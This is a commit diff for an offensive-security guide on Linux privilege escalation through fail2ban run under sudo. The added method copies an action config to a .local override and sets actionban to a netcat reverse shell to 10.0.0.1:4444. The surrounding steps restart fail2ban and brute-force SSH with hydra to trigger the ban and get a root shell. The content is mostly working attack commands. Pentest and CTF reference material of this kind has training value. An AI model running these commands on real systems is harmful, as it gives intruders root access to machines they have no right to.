Skip to content

Commit fe5173e

Browse files
authored
another method to escalate privileges when having write permission over conf.d directory
1 parent 78a6023 commit fe5173e

File tree

1 file changed

+19
-1
lines changed

1 file changed

+19
-1
lines changed

src/exploit/linux/privilege-escalation/sudo/sudo-fail2ban-privilege-escalation.md

Lines changed: 19 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -66,6 +66,9 @@ Specifically, insert a payload to one of the following values.
6666
- **actionunban**
6767

6868
Here update the value of **actionban** which triggers ban on multiple login attempts.
69+
70+
Method 1
71+
6972
Copy **iptables-multiport.conf** to the current user's home directory.
7073

7174
```sh
@@ -91,6 +94,21 @@ Then move back the config file to the original one.
9194
mv ~/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf
9295
```
9396

97+
Method 2
98+
99+
Fail2ban parses .local files in the action.d directory after the .conf files, and any settings in the .local files override user changes made in the .conf files.
100+
101+
```sh
102+
# cp iptables-multiport.conf in the same directory with .local extension iptables-multiport.local
103+
cp /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.local
104+
```
105+
106+
We insert a reverse shell payload into the **actionban**.
107+
108+
```sh
109+
actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash
110+
```
111+
94112
To apply the new configuration, restart it as root.
95113

96114
```sh
@@ -112,4 +130,4 @@ So that to, **hydra** is useful.
112130
hydra -l root -P passwords.txt <target-ip> ssh
113131
```
114132

115-
After a short time, you will get a root shell via listener.
133+
After a short time, you will get a root shell via listener.

0 commit comments

Comments
 (0)